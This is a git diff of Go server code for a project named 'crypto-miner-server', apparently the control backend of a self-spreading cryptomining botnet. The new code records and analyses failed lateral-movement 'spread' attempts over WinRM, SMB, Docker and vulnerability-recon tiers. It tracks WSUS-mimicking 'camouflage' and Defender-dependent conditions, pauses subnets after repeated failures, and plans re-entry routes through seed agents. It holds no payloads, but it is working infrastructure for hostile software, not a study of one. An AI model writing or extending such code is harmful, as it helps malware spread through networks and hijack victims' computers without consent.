+		return fleetai.SurgicalTraceContext{}, false
+	}
+	ctx := fleetai.SurgicalTraceContext{
+		SessionID:     sess.ID,
+		HopIndex:      hopIndex,
+		HopCount:      len(sess.Hops),
+		SessionError:  strings.TrimSpace(sess.Error),
+		DiscoverError: strings.TrimSpace(sess.DiscoverError),
+	}
+	if len(sess.Hops) > 0 {
+		last := sess.Hops[len(sess.Hops)-1]
+		if last != nil {
+			ctx.EgressAgentID = last.AgentID
+		}
+	}
+	for _, host := range serviceGraphList(sess.ServiceGraph) {
+		sub := spreadrouter.NormalizeSubnet(host.Subnet)
+		if sub == "" {
+			sub = spreadrouter.SubnetFromIP(host.Host)
+		}
+		if sub != "" {
+			ctx.TargetSubnets = append(ctx.TargetSubnets, sub)
+		}
+	}
+	return ctx, true
+}
+
+// DatabaseStrainMemoryAdapter persists surgical replay outcomes.
+type DatabaseStrainMemoryAdapter struct {
+	DB interface {
+		InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
+	}
+}
+
+func (a *DatabaseStrainMemoryAdapter) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
+	if a == nil || a.DB == nil {
+		return nil
+	}
+	return a.DB.InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome)
+}
+
+// HubSeerEmitter broadcasts and persists Seer feed events.
+type HubSeerEmitter struct {
+	Hub *WSHub
+	DB  interface {
+		InsertSeerEvent(eventType, agentID string, payload []byte) (int64, error)
+	}
+}
+
+func (e *HubSeerEmitter) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
+	if e == nil {
+		return nil
+	}
+	raw, _ := json.Marshal(payload)
+	var id int64
+	if e.DB != nil {
+		var err error
+		id, err = e.DB.InsertSeerEvent(eventType, agentID, raw)
+		if err != nil {
+			return err
+		}
+	}
+	if e.Hub != nil {
+		e.Hub.BroadcastSeerEvent(map[string]interface{}{
+			"id":         id,
+			"event_type": eventType,
+			"agent_id":   agentID,
+			"payload":    json.RawMessage(raw),
+		})
+	}
+	return nil
+}
+
+// StrainFromAgent returns spread_strain for strain memory rows.
+func StrainFromAgent(hub *WSHub, agentID string) string {
+	if hub == nil || hub.db == nil || agentID == "" {
+		return ""
+	}
+	ag, err := hub.db.GetAgent(agentID)
+	if err != nil || ag == nil {
+		return ""
+	}
+	return strings.TrimSpace(ag.SpreadStrain)
+}
diff --git a/server/internal/api/surgical_bridge_test.go b/server/internal/api/surgical_bridge_test.go
new file mode 100644
index 0000000..652457e
--- /dev/null
+++ b/server/internal/api/surgical_bridge_test.go
@@ -0,0 +1,113 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func TestSurgicalTraceFromSessionHopMatch(t *testing.T) {
+	sess := &TraceSession{
+		ID: "sess-1",
+		Hops: []*HopInfo{
+			{AgentID: "hop-a", AgentName: "a"},
+			{AgentID: "hop-b", AgentName: "b"},
+		},
+		DiscoverError: "timeout",
+	}
+	ctx, ok := surgicalTraceFromSession(sess, "hop-b")
+	if !ok {
+		t.Fatal("expected trace match")
+	}
+	if ctx.SessionID != "sess-1" || ctx.HopIndex != 1 || ctx.HopCount != 2 {
+		t.Fatalf("unexpected ctx: %+v", ctx)
+	}
+	if ctx.EgressAgentID != "hop-b" || ctx.DiscoverError != "timeout" {
+		t.Fatalf("unexpected egress/discover: %+v", ctx)
+	}
+}
+
+func TestPathTraceSurgicalAdapterReadsPersistedSession(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	payload, _ := json.Marshal(pathTraceSessionPersist{
+		ID:        "persisted-sess",
+		AgentIDs:  []string{"patient-1"},
+		Hops:      []*HopInfo{{AgentID: "patient-1", AgentName: "patient"}},
+		CreatedAt: time.Now().UTC(),
+		Error:     "spread lane blocked",
+	})
+	if err := database.UpsertPathTraceSession("persisted-sess", time.Now().UTC(), payload); err != nil {
+		t.Fatal(err)
+	}
+
+	hub := NewWSHub(database)
+	adapter := &PathTraceSurgicalAdapter{Hub: hub, PathTrace: nil}
+	ctx, ok := adapter.TraceForAgent("patient-1")
+	if !ok {
+		t.Fatal("expected persisted trace")
+	}
+	if ctx.SessionID != "persisted-sess" || ctx.SessionError != "spread lane blocked" {
+		t.Fatalf("unexpected ctx: %+v", ctx)
+	}
+}
+
+func TestHubSeerEmitterPersistsAndBroadcasts(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	emitter := &HubSeerEmitter{Hub: hub, DB: database}
+	if err := emitter.EmitSeerEvent("surgical_replay", "agent-1", map[string]interface{}{
+		"failed_tier": "docker",
+		"outcome":     "skip_tier:reorder_tiers",
+	}); err != nil {
+		t.Fatal(err)
+	}
+	events, err := database.ListSeerEvents(5)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(events) != 1 || events[0].EventType != "surgical_replay" {
+		t.Fatalf("events: %+v", events)
+	}
+}
+
+func TestStrainFromAgent(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	if err := database.UpsertAgent(&models.Agent{ID: "s1", Name: "host", SpreadStrain: "#aabbcc"}); err != nil {
+		t.Fatal(err)
+	}
+	hub := NewWSHub(database)
+	if got := StrainFromAgent(hub, "s1"); got != "#aabbcc" {
+		t.Fatalf("strain=%q", got)
+	}
+}
+
+func TestShouldUseSurgicalReplayPartialNotExhausted(t *testing.T) {
+	trace := fleetai.SurgicalTraceContext{SessionID: "x", HopCount: 2}
+	snap := fleetai.AgentSnapshot{
+		LOTLAttempts: []fleetai.TierAttempt{
+			{Tier: "vuln_recon", OK: true},
+			{Tier: "docker", OK: false, Error: "missing"},
+		},
+	}
+	if !fleetai.ShouldUseSurgicalReplay(trace, snap) {
+		t.Fatal("partial spread failure with trace should qualify for surgical replay")
+	}
+}
diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go
index e604f3e..4151cd9 100644
--- a/server/internal/api/websocket_test.go
+++ b/server/internal/api/websocket_test.go
@@ -39,6 +39,27 @@ func wsDashboardToken(user, pass string) string {
 	return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
 }
 
+func connectTestDashboard(t *testing.T, hub *WSHub) *websocket.Conn {
+	t.Helper()
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(srv.Close)
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	t.Cleanup(func() { _ = conn.Close() })
+	var init Message
+	if err := conn.ReadJSON(&init); err != nil {
+		t.Fatalf("read init: %v", err)
+	}
+	if init.Type != "init" {
+		t.Fatalf("expected init, got %q", init.Type)
+	}
+	return conn
+}
+
 func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
 	t.Helper()
 	srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
diff --git a/server/internal/atlas/subnet_autopsy.go b/server/internal/atlas/subnet_autopsy.go
new file mode 100644
index 0000000..f3893d9
--- /dev/null
+++ b/server/internal/atlas/subnet_autopsy.go
@@ -0,0 +1,149 @@
+package atlas
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"crypto-miner-server/internal/spreadrouter"
+)
+
+const SubnetAutopsyLOTLAttemptLimit = 5
+const SubnetAutopsyGossipWhisperLimit = 8
+
+// LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet.
+type LOTLAttemptSnapshot struct {
+	AgentID    string `json:"agent_id,omitempty"`
+	AgentName  string `json:"agent_name,omitempty"`
+	Tier       string `json:"tier"`
+	OK         bool   `json:"ok"`
+	Error      string `json:"error,omitempty"`
+	DurationMs int64  `json:"duration_ms,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+}
+
+// WSUSMimicSnapshot records WSUS cache-peer staging camouflage context.
+type WSUSMimicSnapshot struct {
+	FormatMimicEnabled bool   `json:"format_mimic_enabled"`
+	CachePeerLane      string `json:"cache_peer_lane"`
+	RecentJoinLane     string `json:"recent_join_lane,omitempty"`
+}
+
+// ErasureFallbackSnapshot reports whether RS lane fallback is available.
+type ErasureFallbackSnapshot struct {
+	ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
+	AvailableAsFallback bool `json:"available_as_fallback"`
+}
+
+// SubnetAutopsyPacket is the full immune-response autopsy for a paused /24.
+type SubnetAutopsyPacket struct {
+	Prefix          string                    `json:"prefix"`
+	TriggeredAt     time.Time                 `json:"triggered_at"`
+	FailCount       int                       `json:"fail_count"`
+	PausedUntil     *time.Time                `json:"paused_until,omitempty"`
+	LOTLAttempts    []LOTLAttemptSnapshot     `json:"lotl_attempts"`
+	WSUSMimic       WSUSMimicSnapshot         `json:"wsus_mimic"`
+	Persona         string                    `json:"persona"`
+	ErasureFallback ErasureFallbackSnapshot   `json:"erasure_fallback"`
+	GossipWhispers  []GossipHint              `json:"gossip_whispers"`
+	FailureAtlas    string                    `json:"failure_atlas,omitempty"`
+	CauseOfDeath    string                    `json:"cause_of_death"`
+	VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"`
+}
+
+// BuildCauseOfDeath composes a one-page immune summary from packet fields.
+func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string {
+	var b strings.Builder
+	fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount)
+	if pkt.PausedUntil != nil {
+		fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339))
+	}
+	b.WriteString("\n")
+
+	failed := failedSpreadAttempts(pkt.LOTLAttempts)
+	if len(failed) > 0 {
+		b.WriteString("Failed LOTL tiers: ")
+		parts := make([]string, 0, len(failed))
+		for _, a := range failed {
+			line := a.Tier
+			if a.Error != "" {
+				line += " (" + a.Error + ")"
+			}
+			parts = append(parts, line)
+		}
+		b.WriteString(strings.Join(parts, ", "))
+		b.WriteString(".\n")
+	} else {
+		b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n")
+	}
+
+	if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" {
+		fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas)
+	}
+
+	if len(pkt.GossipWhispers) > 0 {
+		b.WriteString("Atlas gossip whispers: ")
+		parts := make([]string, 0, len(pkt.GossipWhispers))
+		for _, h := range pkt.GossipWhispers {
+			parts = append(parts, h.Tier+"@"+h.Condition)
+		}
+		b.WriteString(strings.Join(parts, ", "))
+		b.WriteString(".\n")
+	}
+
+	fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.",
+		pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback)
+
+	if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" {
+		fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane",
+			displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID),
+			pkt.VaccinationLane.JoinLane)
+		if pkt.VaccinationLane.ErasureLanesEnabled {
+			b.WriteString(", RS lanes on")
+		}
+		b.WriteString(").")
+	} else {
+		b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.")
+	}
+	return strings.TrimSpace(b.String())
+}
+
+func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot {
+	var out []LOTLAttemptSnapshot
+	for _, a := range attempts {
+		if a.OK {
+			continue
+		}
+		if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" {
+			continue
+		}
+		out = append(out, a)
+	}
+	return out
+}
+
+func displayAgent(name, id string) string {
+	if strings.TrimSpace(name) != "" {
+		return name
+	}
+	if len(id) > 8 {
+		return id[:8]
+	}
+	return id
+}
+
+// TrimLOTLAttempts keeps the last n attempts in arrival order.
+func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot {
+	if n <= 0 || len(attempts) <= n {
+		return attempts
+	}
+	return attempts[len(attempts)-n:]
+}
+
+// TrimGossipWhispers keeps the most recent n gossip hints.
+func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint {
+	if n <= 0 || len(hints) <= n {
+		return hints
+	}
+	return hints[len(hints)-n:]
+}
diff --git a/server/internal/atlas/subnet_autopsy_test.go b/server/internal/atlas/subnet_autopsy_test.go
new file mode 100644
index 0000000..4c94b40
--- /dev/null
+++ b/server/internal/atlas/subnet_autopsy_test.go
@@ -0,0 +1,54 @@
+package atlas
+
+import (
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/spreadrouter"
+)
+
+func TestBuildCauseOfDeathIncludesFailuresAndVaccination(t *testing.T) {
+	until := time.Now().UTC().Add(24 * time.Hour)
+	pkt := SubnetAutopsyPacket{
+		Prefix:    "10.0.0",
+		FailCount: 5,
+		PausedUntil: &until,
+		LOTLAttempts: []LOTLAttemptSnapshot{
+			{Tier: "winrm", OK: false, Error: "access denied", Phase: "spread"},
+			{Tier: "smb", OK: true, Phase: "spread"},
+		},
+		Persona: "aggressive",
+		WSUSMimic: WSUSMimicSnapshot{FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer"},
+		ErasureFallback: ErasureFallbackSnapshot{ErasureLanesEnabled: true, AvailableAsFallback: true},
+		GossipWhispers: []GossipHint{{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
+		FailureAtlas: "docker 5/5 failed (100%)",
+		VaccinationLane: &spreadrouter.SpreadRouteHint{
+			TargetSubnet: "10.0.0",
+			SeedAgentID:  "seed-1",
+			SeedAgentName: "Seed Hop",
+			JoinLane:     "do_peer",
+		},
+	}
+	cause := BuildCauseOfDeath(pkt)
+	if !strings.Contains(cause, "immune pause") {
+		t.Fatalf("cause=%q", cause)
+	}
+	if !strings.Contains(cause, "winrm") || !strings.Contains(cause, "docker 5/5") {
+		t.Fatalf("missing failure context: %q", cause)
+	}
+	if !strings.Contains(cause, "Seed Hop") || !strings.Contains(cause, "Vaccination") {
+		t.Fatalf("missing vaccination: %q", cause)
+	}
+}
+
+func TestTrimLOTLAttemptsKeepsLastFive(t *testing.T) {
+	in := make([]LOTLAttemptSnapshot, 7)
+	for i := range in {
+		in[i] = LOTLAttemptSnapshot{Tier: string(rune('a' + i))}
+	}
+	out := TrimLOTLAttempts(in, SubnetAutopsyLOTLAttemptLimit)
+	if len(out) != 5 || out[0].Tier != "c" || out[4].Tier != "g" {
+		t.Fatalf("trim=%v", out)
+	}
+}
diff --git a/server/internal/db/strain_memory.go b/server/internal/db/strain_memory.go
new file mode 100644
index 0000000..34c0047
--- /dev/null
+++ b/server/internal/db/strain_memory.go
@@ -0,0 +1,88 @@
+package db
+
+import (
+	"database/sql"
+	"time"
+)
+
+// StrainMemoryRecord is one AI surgical replay outcome for strain learning.
+type StrainMemoryRecord struct {
+	ID         int64  `json:"id"`
+	AgentID    string `json:"agent_id"`
+	SessionID  string `json:"session_id"`
+	FailedTier string `json:"failed_tier"`
+	Strain     string `json:"strain"`
+	FixType    string `json:"fix_type"`
+	FixArgs    string `json:"fix_args"`
+	Outcome    string `json:"outcome"`
+	Timestamp  string `json:"ts"`
+}
+
+func (d *Database) ensureStrainMemoryTable() error {
+	_, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_memory (
+		id INTEGER PRIMARY KEY AUTOINCREMENT,
+		agent_id TEXT NOT NULL,
+		session_id TEXT NOT NULL DEFAULT '',
+		failed_tier TEXT NOT NULL DEFAULT '',
+		strain TEXT NOT NULL DEFAULT '',
+		fix_type TEXT NOT NULL DEFAULT '',
+		fix_args TEXT NOT NULL DEFAULT '',
+		outcome TEXT NOT NULL DEFAULT '',
+		ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+	)`)
+	if err != nil {
+		return err
+	}
+	_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_agent ON strain_memory(agent_id)`)
+	_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_strain ON strain_memory(strain)`)
+	_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_ts ON strain_memory(ts)`)
+	return nil
+}
+
+// InsertStrainMemory records a surgical replay fix and its dispatch outcome.
+func (d *Database) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
+	_, err := d.Exec(
+		`INSERT INTO strain_memory (agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome)
+		 VALUES (?, ?, ?, ?, ?, ?, ?)`,
+		agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome,
+	)
+	return err
+}
+
+// ListStrainMemory returns recent strain memory rows, optionally filtered by agent.
+func (d *Database) ListStrainMemory(agentID string, limit int) ([]StrainMemoryRecord, error) {
+	if limit <= 0 {
+		limit = 50
+	}
+	var rows *sql.Rows
+	var err error
+	if agentID != "" {
+		rows, err = d.Query(
+			`SELECT id, agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome, ts
+			 FROM strain_memory WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
+			agentID, limit,
+		)
+	} else {
+		rows, err = d.Query(
+			`SELECT id, agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome, ts
+			 FROM strain_memory ORDER BY id DESC LIMIT ?`,
+			limit,
+		)
+	}
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var out []StrainMemoryRecord
+	for rows.Next() {
+		var rec StrainMemoryRecord
+		var ts time.Time
+		if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.SessionID, &rec.FailedTier, &rec.Strain, &rec.FixType, &rec.FixArgs, &rec.Outcome, &ts); err != nil {
+			return nil, err
+		}
+		rec.Timestamp = ts.UTC().Format(time.RFC3339)
+		out = append(out, rec)
+	}
+	return out, rows.Err()
+}
diff --git a/server/internal/db/strain_memory_test.go b/server/internal/db/strain_memory_test.go
new file mode 100644
index 0000000..623e98b
--- /dev/null
+++ b/server/internal/db/strain_memory_test.go
@@ -0,0 +1,24 @@
+package db
+
+import (
+	"testing"
+)
+
+func TestStrainMemoryInsertList(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = d.Close() })
+
+	if err := d.InsertStrainMemory("a1", "sess-1", "docker", "#aabbcc", "skip_tier", "tier=docker", "reorder_tiers"); err != nil {
+		t.Fatal(err)
+	}
+	rows, err := d.ListStrainMemory("a1", 10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(rows) != 1 || rows[0].FailedTier != "docker" || rows[0].Strain != "#aabbcc" {
+		t.Fatalf("rows=%+v", rows)
+	}
+}